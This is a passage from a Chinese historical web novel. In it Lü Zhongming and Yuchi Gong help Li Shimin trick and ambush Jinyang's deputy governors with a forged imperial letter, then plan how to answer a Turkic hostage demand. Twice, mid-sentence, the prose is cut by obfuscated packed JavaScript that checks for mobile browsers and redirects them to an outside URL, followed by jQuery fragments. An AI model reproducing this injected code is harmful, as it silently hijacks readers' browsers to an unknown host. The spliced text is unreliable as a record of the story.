尉迟恭则举着铲子,呆呆地看着吕仲明,脸上带着温和的笑容。 李世民:“……” “咳!” 两人同时回过神,尉迟恭忙收拾东西,吕仲明果断坐回去,当做什么事都没发生过,李世民身后跟着一名婢女,婢女捧着个盘,李世民便让他端过来,说:“这是父亲赏敬德的。” 尉迟恭忙谦让,李世民却道:“不必客气,今天父亲恰好出来,远远地看到你俩比武,回去还夸了你几句。” “就是,客气什么。”吕仲明道:“拿来我看看,有吃的吗?” “有。”李世民笑道:“我就知道你一定喜欢。” 李渊的赏赐里有一盒绿豆糕,还有银锭若干,吕仲明拿了绿豆糕,银锭看也不看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563131|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绿豆糕入口即化,清香扑鼻,带着极淡的甜味。唐王府的东西当真是没有最好吃,只有更好吃。 吕仲明一吃到嘴便眼里冒绿光,李世民笑道:“这是御贡的,府里就得了两盒,从扬州快马加鞭送来,方才我爹也说好吃,最后一盒就赏敬德了,李靖都没有。” 李世民说着又怀中取出一封信,递给吕仲明,内里是已经伪造好的杨广亲笔信:“你看看。” 吕仲明边吃绿豆糕边打开信拿着看,尉迟恭色变道:“小心绿豆糕!” 然而那提醒已经太迟,手里松软的绿豆糕断了半块,掉下来,啪的一声糊在信上。 李世民:“……” 尉迟恭:“……” “我的幕僚大人呐——!”李世民惨叫道:“小爷花了好大功夫才做出来的!” “嘘……”吕仲明忙道:“小心隔墙有耳,很好!我这就去办,不,过几天再去。你放心吧!这样才够真实嘛。就说陛下吃绿豆糕的时候写的,不小心糊上去了,我去把火漆封好。戳子呢?你肯定也准备了罢。” 李世民拿出一枚木戳子,显然连杨广的火漆印都准备好了,吕仲明便小心封上,说:“你去解决那信使罢,等我好消息。” 李世民走的时候整个人都有点不好了,吕仲明便开始详细计划,见到那两名副留守时,要朝他们说什么,到时候得装得像样点。 尉迟恭看着吕仲明,双方静了良久。 吕仲明再伸手去抓时,发现盒子里的绿豆糕没了,看尉迟恭,尉迟恭马上把吃到一半的递给他。 吕仲明呆滞状:“全吃完了吗?” 尉迟恭:“世民吃了一块,我我我……我也只吃了一块……我以为这是赏给我的……所以我想怎么得也得尝尝罢,而且我只咬了一口,你看,这边还可以吃,你不嫌我口水的话……” 吕仲明接过吃了,又说:“咱们再去找人打一架罢,让唐王再赏一盒。” 尉迟恭:“他说没有了……” 数日后的一个晚上,吕仲明出府时,还寻思着怎么去把李渊吃了半盒的绿豆糕偷出来,最后实在怕找不到路,只得作罢。 夜深人静,长街空无一人,晋阳实施宵禁,按照与李世民约好的,大家在王府后门碰头。 李世民不负使命,带来了那名信使,尉迟恭跟着吕仲明,而李世民身后,还跟了个保镖,正是年前在雁门关下匆匆一瞥,保护李世民前来约见他们的男人。 “这是我姐夫。”李世民朝他介绍道:“今天刚从大兴回来。” 吕仲明吓了一跳,原来这年头,姐夫都可以当小舅子保镖了?!然而转念一想,想起一个名字,便笑道:“见过柴大侠,久仰了。” 那保镖身形高大,与尉迟恭差不多个头,面容却十分阴冷,一双眸子犹如黑夜中的枭,正是李世民之姊李秀宁夫君柴绍,柴绍有点意外,点头,半个身子潜藏在阴影之中,低声道:“在下与尉迟将军会潜伏于官府梁上协助你,以免有意外。” 去糊弄人,吕仲明知道肯定不会有意外,然而李世民倒是觉得非常意外,看了柴绍一眼,柴绍点头,又沉声道:“走。” 说毕尉迟恭与柴绍同时甩出钩索,二人呼一声翻上墙去,信使看到两名武将身手,登时错愕。 “有柴大侠在,为什么不暗杀?”吕仲明小声道。 “暗杀恐怕会引起兵变……而且被父亲知道我背着他搞鬼,麻烦就大了。”李世民小声道:“姐夫也是今天才回来,去年与你见过一面,他就回大兴去了……来,政会,过来。” 李世民招手,和颜悦色,笑道:“今天教你的,都记得了么?” 那信使道:“记得。” “你叫什么名字?”吕仲明也温和问他。 “刘……政会。”那信使十分紧张,李世民眉头微拧,朝吕仲明摇头,明显是认为这信使心理素质不过关,进去以后就会紧张得被看出来,吕仲明笑笑,摆手示意不妨。 “都记得了罢。”吕仲明笑道:“认真点,配合点,人活一辈子,总得冒一次险。这事办完了,来日你前途不可限量。” 说着,吕仲明一手按在刘政会肩上,刘政会渐渐镇定下来,李世民见状只得点头,反正都到了跟前了,死猪不怕开水烫,不行也得行,大伙儿上罢。 吕仲明倏然又变了个脸色,拉下脸,冷冷道:“还不去通报!” 刘政会马上道:“是……是。” 夜间晋阳县府内仍亮着灯,刘政会紧张进去,忙道:“我要见高大人!快去通传!” 话音未落,吕仲明也不待门房放人,径自就进来了,侍卫们不知此人何许人也,登时如临大敌,各自操起武器将院子里的吕仲明围住。 刘政会慌忙道:“别动手!这位是朝廷来的吕大人!” 高君雅还在睡觉,睡眼惺忪出来,慌忙裹着外袍,问道:“政会,你嚷嚷什么!”正说话间,忽见刘政会单膝跪地,抱拳,而吕仲明站在院里,冷冷打量四周,马上便知来了重要人物,忙道:“都给我撤兵器!” 刘政会紧张道:“高大人,朝廷派……吕大人,跟随小的过来。” 吕仲明冷笑道:“高君雅,你这府兵不少呐。” 高君雅不待刘政会说完,便道:“吕大人快请,府兵疏于管教,不识好歹,望吕大人切莫在意。” 吕仲明冷哼一声,高君雅忙将吕仲明请入内厅,又派人去通知另一名副留守王威。 吕仲明便施施然坐下,高君雅又吩咐人去备茶,准备点心。刘政会站在一侧,吕仲明便道:“陛下收到去年的信,颇怀忧心,与宇文大人商量后,决定不能再等了。” 正说话间,王威已匆匆赶到,高君雅看了他一眼,便介绍道:“这位是吕大人。” “吕大人在何处高就?”王威先是恭敬问道。 “回禀高大人,王大人。”刘政会道:“大兴裴大人收到信后,扬州那边宇文大人秘密赶回大兴一趟,二月初八夜里,元将军,裴将军与宇文将军谈定,请吕大人跟小人过来,协助二位。吕大人乃是直阁文簿。” 那话自然都是李世民教他说的,姓裴的是直阁将军裴虔通,而元将军则是虎贲郎将元礼,“宇文”则是大将军宇文化及。这三人都是杨广御前的大红人,吕仲明如此年轻,便已当上殿阁文书一职,可见其前途不可限量。 这时候,吕仲明才拿出信,递给二人,王威忙谦让,高君雅便点点头,展开看了。 24. 第二十三回:质子 “按陛下告知宇文将军的意思是,尽快行事,事不宜迟,及早将李渊押去扬州。毕竟李渊与陛下也有亲缘,虽有大逆不道之意,总不好对李家赶尽杀绝……”吕仲明道:“至于并州一地,便由两位将军权衡行事。明年说不定,会与突厥人暂时议和。” 这话出口,王威与高君雅都是大喜,反正吕仲明都是信口胡诌,高君雅道:“吕大人,并州突厥猖獗,频频进犯……” 吕仲明喝了口茶,淡淡道:“岳丈也知道,并州没了两位不行,这次押解李家钦犯,便由本官亲自带上路去。王大人,高大人就不必操心了。” “是是。”高君雅出了一背冷汗,又问:“三位大人还吩咐了什么没有?” 吕仲明摇摇头,似在沉思,片刻后道:“李渊年岁已长……” 说着吕仲明又看了两人一眼,登知二人心思,他们就怕李家一次打不垮,哪天杨广突起了赦罪的心思,这么一大家子人又要回来,找他俩寻仇。便随口道:“宇文将军已调集部将,预备将李秀宁,柴绍等余党一网打尽。李建成正在大兴,被岳丈扣在宫中,两位不须担心。此事已做好周全准备,但消息瞒不了多久,须得尽快动手,以防泄露风声。只要捕住李渊,余下的,便交给本官处置。” 至此王、高二人再无怀疑,都知道杨广的几名宠臣忌惮李渊日久,要下手除去,选在此刻发难,确实是最好时机。 王威又道:“吕大人,下官在监视晋阳府时,还发现了一件事。吕大人请移步与我一谈。” 吕仲明点点头,欣然起身,心里却是七上八下。跟着王威穿过走廊,来到府里后院,侍卫上前,取出一把锁,打开了地牢大门,高君雅亲自端着油灯,作了个手势:“吕大人请。” 吕仲明:“……” 这两人要带他进牢里去?!吕仲明心道糟糕,莫不是请君入瓮之计?但他感觉自己也没露破绽啊……就在这短短一念间,他终于把心一横,大不了就等尉迟恭和柴绍来救吧,赌一把。 吕仲明走进地牢里,远远的屋顶上,两个黑衣人与乌云密布的夜色融为一体,目送他进入地牢,柴绍抽出怀中匕首,要上前营救,尉迟恭却摇摇头,伸手拦住他。 尉迟恭又等了片刻,见对方没有关门,进去的三人也没有出来,才安下了心。 话说吕仲明刚走进去,狱卒便跟着进来,以铁棒一敲栅栏,哐当一声,吕仲明吓了一跳,看到牢里住着个人,登时傻眼。 那人抬头时被灯光晃得睁不开眼,披头散发,吕仲明却一眼认出了他!那是刘文静! 年前在塞外认过一面,吕仲明虽路痴,却不脸盲,一见刘文静蓬头垢面,睁不开眼,便暗道糟糕,心下盘算过无数个计划,短短几秒内,选定了最冒险,也是最不容易令人起疑心的计划。 “这人是谁?”吕仲明朝高君雅问道。 刘文静蓦然一震,吕仲明嫌弃地说:“是李渊的人?” “大人神机妙算。”王威恭维道:“此人就是晋阳令刘文静。” 吕仲明这才明显地现出错愕神情,问道:“刘文静?抬起头我看看?” 刘文静抬起头,吕仲明知道他肯定认出自己来了,明明见过一面,却装作不认识,唯一的可能就是在伪装。既然知道吕仲明伪装,刘文静一定知道配合,毕竟能受李渊重用的,必然是个聪明人,电光石火的一瞬间,已足够他猜到前因后果。刘文静抬起头时,吕仲明又朝他神秘地眨眼。 高君雅道:“吕大人,刘文静率军迎战突厥时,我手下的人从他营中偷出了一份李渊的密信,且问问他。” 吕仲明豁然开朗状,刘文静只是冷笑,不答话。 王威又道:“李渊在信中令刘文静回师后,并不交接兵权,只遣回天策军,而把握大军在手,驻兵雁门关下,待他发令,便回师晋阳,配合他谋反之举。” 吕仲明暗道好险,王威与高君雅果然有恃无恐,要不是瞎猫碰上死耗子,提前来了这么一出,李渊估计麻烦就大了。 “干得好。”吕仲明道:“待我回禀陛下以及宇文大人,两位当记上首功!信在何处?” 王威又请吕仲明出去,三人来到书房内,王伟递出信,吕仲明只是看了一眼便收入怀里,至此,高君雅方道:“不知吕大人有何计划?” “没有计划。”吕仲明沉吟道:“听两位的罢,我的意见是宜早不宜迟。” “那么就在今晚调兵。”王威道:“天明时,派人往王府送信,就说……突厥有紧急军情,即将进犯晋阳,请唐王至别宫议事。” 高君雅道:“在下这就派人去路上埋下伏兵,吕大人……” 吕仲明欣然道:“这种事,怎么能不凑凑热闹?到时候,我与高大人一同去。” 三人大笑,王威道:“好,那么就有劳吕大人了!” 高君雅又道:“吕大人请在此稍作休息,待下官安排停当,便来请吕大人亲自上阵!” 吕仲明满脸笑容,点头道好好,高君雅与王威便退下,离开时,双方一转身,各自变脸。吕仲明心道两个傻瓜,嘴角抽搐。高君雅与王威一转身,脸便垮了下来,王威站在院里,小声道:“怎么派个小孩儿来?” 高君雅道:“哎!没伸手就要钱,已经不错了!快,赶紧的,将功劳都让他,把李渊押走罢。” 说是这么说,两人要下手对付李渊,仍有点心神未定,毕竟李渊手下那群人也不是吃素的,王威又问道:“高大人,不会有事罢,毕竟城北那队兵……” “都是新兵,不足三千,怕他们作甚?”高君雅道:“刘文静的手下都被扣在上党,唐王的府兵唯有一千人,只要速战速决,不必怕他们。你去布置,我去问问刘政会,宇文化及还有没有别的吩咐。” 王威心事重重点头,前去调兵遣将不在话下。 这厢高君雅传了刘政会,刘政会本以为已无自己的事,没想到又被叫了过来,当即一瞬间紧张起来。 高君雅带上门,问道:“宇文化及大人还说了什么?是不是与他说的一样?” 房里只有两人,刘政会马上就筛糠般发抖。然而说时迟那时快,眼神无意中一瞥,看见梁上吊儿郎当地坐着个人,正是身材高大的尉迟敬德。 尉迟敬德一身黑衣,坐在梁上,一脚垂下来晃啊晃,大手里漫不经心地玩着一把匕首,一脸冷漠,手指挟着刃锋,朝刘政会一亮。 刘政会知道如果自己不好好说话,那把匕首马上就会脱手飞出,扎入自己喉管,只得再次稳住心神,超常发挥,躬身道:“回禀大人,属下并未听到宇文大人嘱咐,裴将军吩咐吕大人的是,务必斩草除根,不必带到陛下面前去。” “唔。”高君雅对此显然十分满意,想了想,又道:“待活捉了李渊后,你便跟着吕大人回去,你知道路上怎么做的,不用我教你了?” 刘政会一时迟疑,问道:“高大人的意思是,如果那小孩儿下不了手,属下就……”眼里带着询问神色。 “很好。”高君雅道:“你先去陪着他说说话。” 刘政会点头,关上门出去。 吕仲明正在厢房里坐着发呆,有点困了,想睡又不能睡,生怕又出什么状况,心道早知道把弓也带出来,待会要怎么脱身呢?谈好了如何忽悠,居然没说怎么脱身,李世民与尉迟恭仿佛丝毫不担心其人身安全问题…… 正胡思乱想时,窗沿咯噔一响,把吕仲明吓了一跳。 朝外看时,两名黑衣人掠过,吕仲明低声道:“地牢里的人是刘文静,能救他出来?” 远一点那黑衣人作了个手势,正是柴绍,点头,又指指尉迟恭,一个翻身上了屋檐,尉迟恭单手攀着檐角,长腿朝窗沿上一踏,稳稳站定,继而蹲了下来,像头老实的大狗。 “去救刘文静……”吕仲明小声道:“在这里蹲着做什么?” 尉迟恭蒙着面,露出的眼睛微微眯了起来,似乎在笑。 吕仲明:“???” 尉迟恭眼睛一眨不眨地看着吕仲明,吕仲明莫名其妙,以手在他面前挥了挥。 尉迟恭又笑了起来。 吕仲明索性把他的蒙面布揭起来,问:“傻了么?” 尉迟恭的唇坚毅,性感,吕仲明不知道为什么,突然想凑上去亲一下,喉结不自在地动了动,尉迟恭却笑着握住他的手,随手把面巾摘下来,说:“刚才那些话,是你自己想的,还是世民教你说的?” “我自己想的啊。”吕仲明莫名其妙道:“问这个做什么。” 尉迟恭笑道:“你长得很好看,而且很有灵气。” 吕仲明:“……” “谢……谢谢夸奖……”吕仲明嘴角抽搐,尉迟恭道:“柴将军去救人了,他一人足够,我来保护你。” 吕仲明嗯了声,坐下,斜斜靠在胡床上躺着,想起了什么,问:“柴绍武功很强么?” 尉迟恭莞尔道:“还行,比我差点。” 吕仲明道:“喔?明天我问问他。” 尉迟恭脸色一僵,只得如实道:“他是唐王府里武功最强的。” 吕仲明嗯了声,他曾经从史料上读到柴绍生平,评价他年轻时,是“年少任侠”,当时长安游侠甚多,世家子弟俱当街佩剑,想必柴绍也没少惹麻烦。 尉迟恭道:“他的墨剑,出剑必取人命,这点和你倒是挺像。武艺强绝,李靖在他面前肯定得吃不了兜着走。可惜他已经成亲了,而且他媳妇惹不起……” “我没打算惹他。”吕仲明哭笑不得道:“更没打算惹他媳妇。” 尉迟恭一本正经道:“比我武功好的男人都有主了,找不到更好的了,你要不考虑一下?” 吕仲明:“考虑什么?” 明明是大敌当前的紧张阶段,不知道为什么,却又充满了奇怪的松散旖旎气氛,尉迟恭笑笑,认真看着吕仲明,正要再说句什么时,敲门声响。 “吕大人。”刘政会在门外道。 吕仲明心道这次来得太太太及时了,来得好!便马上道:“嗯。” 刘政会推门进来,尉迟恭却抬眼瞥他,问:“让你进来了么?” 刘政会马上关门,退了出去,吕仲明却道:“进来进来,只是开个玩笑。”说毕朝尉迟恭皱眉,这一次刘政会立了功,来日也就是李世民麾下的人了,大家低头不见抬头见的,平起平坐,不能闹得太僵。且万一高君雅那边又有什么事,一旦错过,说不定会酿成打错。 尉迟恭蒙上面巾,从面巾后打量刘政会,吕仲明又道:“请坐,政会。” 刘政会还有点紧张,坐了下来,问:“我可以走了么?” 吕仲明安抚道:“不必担心,我会保护你。” 吕仲明详细询问了一次,刘政会便把高君雅盘问的话都说了出来,吕仲明暗道好险,看来这两名副留守还不算太蠢。两人随口说了些话,尉迟恭一直像只大狗般地蹲在窗沿上,双手垂在腿间,吕仲明便不再闲聊,也有点困了,躺在胡床上睡觉。 他感觉尉迟恭总盯着他看,睁眼时尉迟恭便马上把目光别过去,有点不自在。 吕仲明困得不行,渐渐睡了,过了会儿,外面又有人敲门,吕仲明瞬间惊醒,睁眼时见天蒙蒙亮,窗沿上的尉迟恭已不见了踪影,刘政会趴在矮案前入睡。 “请进。”吕仲明整理衣冠道。 高君雅进来,恭敬道:“吕大人,万事俱备。” 吕仲明一拉衣领,回头见刘政会睡眼惺忪地起来,便道:“你不必跟着了。” 刘政会忙抱拳鞠躬送走二人,高君雅亲自带着吕仲明到外面巷子里去,东方露出鱼肚白,全城酣睡,巷子里挤满了晋阳守军,密密麻麻,一眼望不到头。高君雅道:“王大人已去埋伏,待会咱们从旁冲杀出去,活捉李渊就行。” “有弓箭么?给我一副。”吕仲明道。 高君雅只以为他要立功,便马上吩咐人娶弓箭,所有人马蹄上都包了布,闷响声起,朝着晋阳别宫前的大道奔去。 浩浩荡荡,足有上万人,吕仲明看得心砰砰跳,想必王威那边人也不少,两万人冲出来,王府只有一千府兵,要是弄巧成拙,搞不好真被打败了那可就万事休矣,然而又想到昨天夜里,尉迟恭配合柴绍监视此处,想必已设下周全计划,相信队友们罢。 天际发白,雄鸡报晓,一轮红日初升,远方传来一声尖锐的哨响,高君雅道:“随我冲——!” 说毕士兵便纷纷举起武器,从西直街上冲了过去,吕仲明正想借机逃跑,催马道:“驾——!” 高君雅色变道:“大人慢点!” 说时迟那时快,吕仲明已一马当先,冲出老远,上千骑兵犹如水龙般轰然冲过西直街,高君雅追上来,喊道:“大人!让他们先冲……” 吕仲明刚回过头,一瞬间,埋伏在南北走向街道的另一队骑兵发起了冲锋。 “杀——!”近千人马轰然冲来,吕仲明还来不及转头,自己便被一名将领控马撞上,马匹嘶鸣声尖锐作响,吕仲明被撞得飞离马背,整个人飞起来,身后那武将也随之飞起,在半空中伸手把吕仲明一揽,二人落下,战马追上,正是白云驹,两人稳稳当当落在马背上。 长街陷入混战,高君雅那一下还没反应过来,惊慌道:“吕大人被人劫走了!快救人——!” “不用救了——”吕仲明回头朝他挥手道:“拜拜——” 高君雅:“……” 顷刻间长街两侧房屋上,埋伏已久的弓箭手纷纷现身,一轮箭如雨下,射得人仰马翻,高君雅始知中计,仓皇四顾。 秦琼带着吕仲明转了个弯,从小巷里再次杀出来,白云驹踏空飞过,一蹄将高君雅蹬得直飞出去,高君雅鲜血狂喷,摔在地上,死活不明。 “高君雅内通外敌,勾结突厥作乱已伏诛!放下兵器,保你们性命!前事不咎!否则格杀勿论!”秦琼怒吼道:“我数三声,再不投降!就给我放箭!” 吕仲明登时屏住呼吸,心知这些守军没有一万也有八千,若是哗变起来,只怕凭虚张声势的弓箭收拾不住,然而秦琼驻马持枪,犹如天神降世,无人敢违逆,随着第一声武器落地,哗啦哗啦声不绝。 秦琼扔下一句:“打扫战场,派人给受伤的将士们治病,没有我的命令,谁也不许治他们的罪!”便不再多说,转身带着吕仲明离开了长街。 好酷……吕仲明登时被小震了一把,以前还没亲眼看过秦琼耍威风,现在看来个个都是彪悍的。 孰料秦琼刚离开长街,那一副冰山战神模样就瞬间变了,转头问:“早饭吃了没有?” “还……还没。”吕仲明道:“罗大哥呢?” “在别宫前埋伏。”秦琼道:“现在赶过去,还能凑凑热闹,驾——!” 初晨阳光万丈,照得整个晋阳辉煌无比,别宫前的大路上已成双方厮杀的战场,吕仲明赶来时,见唐王府的马车被戳了个稀巴烂,李世民驻马而立,柴绍在旁掩护,战局接近最后尾声,罗士信一杆长槊,带着麾下兵马冲进了别宫,李靖则率领天策铁骑在外游斗。 吕仲明翻身下马,李世民一见他们过来,也马上翻身下马,两人冲到对方近前,笑着互一击掌。 “吓死我了。”吕仲明道:“那马车是怎么回事?” “空车。”李世民心有余悸道:“还好我没坐进去,这下他们全完了。王威躲进晋阳宫里去了。” 正说话时,罗士信纵马冲出了晋阳宫,身后跟着撕心裂肺的大喊,柴绍一声怒喝:“好!” 只见罗士信马后拖着王威脚踝,王威磕磕碰碰,在别宫阶梯上摔得头破血流,死活不知,李世民果断道:“马上打扫战场,收兵!” 这场战斗开始得快,结束得也快,不到一个时辰便鸣金收兵,此时市场刚开,不少百姓开门看到街上满地血,吓了一跳,议论纷纷。 晋阳王府笼罩在旭日的光辉中,亭台楼阁,批戴着一层朦胧的红金色。 四人站在主殿外,分别是尉迟恭、李靖、罗士信、以及吕仲明。李世民与刘文静入内,朝刚起来的李渊禀报内乱详情。 吕仲明昏昏欲睡,站着都要歪倒下去,靠在罗士信手臂上,打着鼾。 三人都略侧头瞥他,心想站着都能睡着,这家伙…… 殿内传来李渊怒火滔天的责骂,把吕仲明吓醒,不到一炷香时分,骂声小了,又站了许久,隐约听见李世民道:“姐夫与秦将军已去接手全城军队……” 最后里面交谈声渐止,李世民交代完事,出来,抹了把汗,说:“大家辛苦了,都回去歇息罢。” 吕仲明道:“没事罢。” 李世民道:“没事,得赶紧派人去,把大哥与三弟接回来。先回去歇着,忙活一夜也累了。士信……” 李世民又与罗士信交谈几句,尉迟恭便带着吕仲明回家休息。 吕仲明有点失望,本以为李渊会赏点什么的,居然什么都没说,也没召见他们,尉迟恭看出吕仲明不太高兴,问:“困了?” 吕仲明问:“唐王平时也这样吗?” 这么多武将,奔波一早上为他浴血奋战,连召见也没有,尉迟恭转念一想,便知吕仲明之意,笑道:“他现在应该是心中一团乱麻,就不要计较了。” 吕仲明一想也是,李渊连自己儿子都没个好脸色,现在李世民逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563132|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得他不得不反,多半要疯掉了。 “我就怕世民挨骂。”吕仲明眉头深锁道。 尉迟恭一哂道:“有柴将军在,不碍事。” 两人回到院内,发现送礼的婢女已先一步来了,这一次赫然是每人一匹上好的绸缎,接着又是满盘金锭,以及四个匣子,每个匣子内一枚夜明珠,吕仲明看了一眼便让收起来,孰料还有一盒是椿芽糕。 “世子赏的?”吕仲明问。 那婢女也不知道,两人互看一眼,吕仲明猜测应当是李世民赏的了,事无巨细,打点周到,照顾了出力武将的心情,否则累了半天,回家也没个动静,当真不爽。 吕仲明尝了口椿芽糕,只觉味道虽然不及绿豆糕好吃,但也别有风味。赏了尉迟恭一小块,剩下的留着,预备等秦琼罗士信回来,大家一起尝尝,奈何等了许久,罗、秦二人总不回来。 春风吹得人暖洋洋的,阳光从屋外照进来,吕仲明整个人都点困得神志不清了,尉迟恭便道:“上去睡会?他们回来了叫你。” “不。”吕仲明答道。 尉迟恭伸出手,小心翼翼地搂着吕仲明的肩膀,仿佛生怕令他清醒过来,又或是被推开,然而吕仲明没有什么反应,靠在尉迟恭肩前,打着盹儿。尉迟恭心跳砰砰砰的甚是厉害,低头看他,目光驻留在吕仲明温润的唇上。 他有点想低头吻下去,却又不太好意思,片刻后,他抱起吕仲明,把他放在厅堂一隅的胡床上,那是尉迟恭自己睡的地方,又拉过被子,给他盖上。被子上尽是尉迟恭的气味,吕仲明缩在被里,舒服地睡着了。 尉迟恭侧倚在胡床边上,把手臂搁上去,脑袋靠着枕头,安静地看着吕仲明睡觉。 日上三竿,日渐西斜,时间渐渐过去,尉迟恭也睡着了,彼此呼吸交错,许久后,李靖的声音响起: “敬德。” 尉迟恭与吕仲明同时惊醒,李靖站在厅内,低头看着二人,吕仲明擦了口水起来,李靖低声与尉迟恭交谈数句,尉迟恭色变,跟着他出去。 “干什么?”吕仲明茫然道。 尉迟恭道:“你睡你的!”说毕跟着李靖匆匆离开。 吕仲明:“???” 吕仲明睡得正迷糊,竭力清醒了些,头昏昏的,下来喝了点水,换了身袍子,就朝外走。发生了什么事?尉迟恭连执行任务的时候都留在他身边,被李靖一叫就走了,必然是非常严重的事。 吕仲明一路出来,朝正殿内走,一时间只见上百门客,武人,文士,都站在校场上,当即吓了一跳。这是要暴乱?不对罢,只是抓了俩副留守,门客跟着起哄什么? 又有人道:“唐王,你善待弟兄们,如今是我等为你效力的时候了!” 那声音登时一呼百应,两道嘈杂,王府大门喊道:“突厥来使已入西直街——” 府内哗然,李世民道:“大家不可冲动!请先退开!让出通路!” 话音落,天策军蜂拥而出,分列两道,晋阳王府大门洞开,门客便纷纷退到一旁观看。李世民又朝众人一抱拳,说:“事已至此,足感诸君盛情,但切勿妄动。” 校场上静了。 李世民转身回入殿内,吕仲明见状,便从侧门台阶匆匆上去,想弄清楚发生了何事,然而要进殿时,却被卫兵拦住。 “唐王正在殿内议事,不能进去,有结果后会通知您。”卫兵道。 “烦请进去通传一声。”吕仲明道:“我有要事。” 卫兵沉吟片刻,他见过吕仲明常常与世子在一起,便转身入殿通传,殿内李世民听到后便道:“请他在外面稍等。” 李渊却道:“是吕道长来了?快快请进来。” 尉迟恭微微皱眉,李世民眉目间焦虑尽显,十分不安,吕仲明进来了,没有开口,殿内秦琼、罗士信、尉迟恭、李靖、柴绍、刘文静都在,与李渊交谈一人坐着,是个五十岁上下的中年人。 李渊道:“五万突厥大军围城,毫无声息便到了晋阳城外,如今遣使入城,要与本王议和,众位有何对策?” 吕仲明蓦然一震,原来突厥人来了?比想象中的快这么多?他看李世民,李世民又道:“今日刚朝百姓分说,王、高二人外通突厥,现在突厥人便来攻城,事实上是个好机会。” “城内人心惶惶。”坐在李渊身边那中年人道:“如今要怎么退敌?” “对付突厥人,不能退让。”秦琼上前一步道:“唐王,敌方只有五万人,我方也有三万人,让他们来攻城就是。” 罗士信靠着殿内柱子,一笑道:“只要紧闭城门,没有十万人,晋阳根本就攻不下来。” “不妥。”那中年人答道:“如今正是多事之时,怎能与突厥人起正面冲突?” 尉迟恭略靠近吕仲明,极小声在他耳畔解释道:“晋阳宫监裴寂。” 吕仲明略一点头,他刚刚睡醒,倦意未散,理不出个头绪来。李渊看了数人一眼,李世民眉头深锁,答道:“若能化干戈为玉帛,不妨答应他们条件。” 数人都知道这时候突厥来犯,实在是撞上了千古良机,晋阳两名手握兵权的副留守先是被李渊给做掉了,还没来得及整合军队,一时间城中人心惶惶,大军围城,士气低落至极,真打起来,输赢难料。 且李渊不日前已下定主意反隋,绝不能在对阵突厥时损了自身元气,最好的办法是安抚住突厥人,给钱。吕仲明心知只有议和一途可走,李渊召集这么多人,根本不是为了听要不要打仗的话,而是想让人拿出一个主意,如何去安抚住突厥人。 谁能胜任这个工作,把突厥人送走,谁就将被记上首功。 但这功劳可不好得,就连吕仲明自己,也不敢贸贸然把话题点明,正思考时,坐在李渊身边的裴寂发现了吕仲明,上下打量他,又朝李渊耳语几句。李渊依旧眯着眼,不置可否。 “议和的条件是什么?”吕仲明问。 李渊开口道:“三千绢、三千马、八千银……” 李世民松了口气,吕仲明观其反应,便知这点东西对李家来说不在话下,然而他敏锐地察觉,必定不止这么简单。 果不其然,李渊又道:“……以本王的亲儿子为突厥王子伴读,或是嫁女从突利可汗。” 这话一出,殿内登时一片寂静,空气仿佛凝固了。 李世民静静站着,仿佛在下一个极其艰难的决定。 裴寂又朝李渊说了几句话,李渊眯着眼,只不吭声,吕仲明见状索性自己说出来了。 “世子身份尊贵,怎么能前去为质?”吕仲明淡淡道:“仲明愿替世子为质。” 吕仲明简直是受不了这俩老家伙,心想你俩说来说去,不就是这么个心思么?我帮你捅破了又如何? 这话一出,殿内登时震动,罗士信,秦琼与尉迟恭都难以置信地望向吕仲明,李世民抬头,看着吕仲明。 “我身为李家人。”李世民沉声道:“如何能让一个毫无干系,于我,于李家有恩之人去充当质子?若让仲明冒充我,呆在突厥军中,我李世民这辈子势必无法释怀!此事休得再提!” 吕仲明心里赞叹,就凭李世民这么一句话,自己没白瞎。 李世民道:“爹,孩儿这就去了。” 李渊长叹一声,缓缓道:“世民,爹爹怎能让你去为质?此话也休得再提。爹爹去与可汗谈谈罢。” 一语出,数人同时色变,李渊身为唐王,若是被突利扣在营中,麻烦就大了,吕仲明道:“唐王,我有一计。” 一直不吭声的尉迟恭却也上前一步道:“我也有一计。” 说毕吕仲明与尉迟恭对视,吕仲明颇有点意外,尉迟恭居然会主动献计,二人既然都有办法,尉迟恭便道:“道长请说。” 吕仲明稍沉吟,朝数人道:“由世子出面,入突厥军为质,尉迟将军,秦将军与罗将军各带数百天策军秘密尾随,离开晋阳,回返漠北的半路上,本道长去替世子,替换成功后,再以道家幻术制造一场天降异兆,发发光,来点光影特效,升天而走……” 所有人:“……” 吕仲明说到这里,以他强悍的神经无视了在场众人的表情,笑笑道: “本道长别的不行,耍点江湖把式还是会的,到时就说上天降怒,或者随便怎么都行,唐王再朝突厥要人,大家都跑了,自然要不到。此事便只好不了了之。” 李世民当即笑道:“好办法,走,咱们这就折腾突利可汗去!” 尉迟恭却道:“我的计策是李靖老弟教的,也需诸位协助,却简单些,各位要不要听听?” 一语出,数人都看着李靖与尉迟恭。 25. 第二十四回:夜宴 一个时辰过去,数人商议良久,最后李世民带着数人出了大殿,揉了揉眉心,吁了口气。 吕仲明见他脚步发抖,显是体力透支,昨天晚上想必也没睡,今天又连着承担这么大的压力,忙伸手稳住他。 李世民的眼中带着忧郁,二人对视一眼,李世民转身时又恢复了那自信的笑容,道:“将军们,世民这一生,就托付予诸位了。” 数人都纷纷点头,李世民又道:“姐夫。” 柴绍会意,前去约见突厥使者,其余人等散开,各作准备,李世民走在前,吕仲明则一副没睡醒的模样,走在他身后。 “怎么不说话了?”李世民回头道。 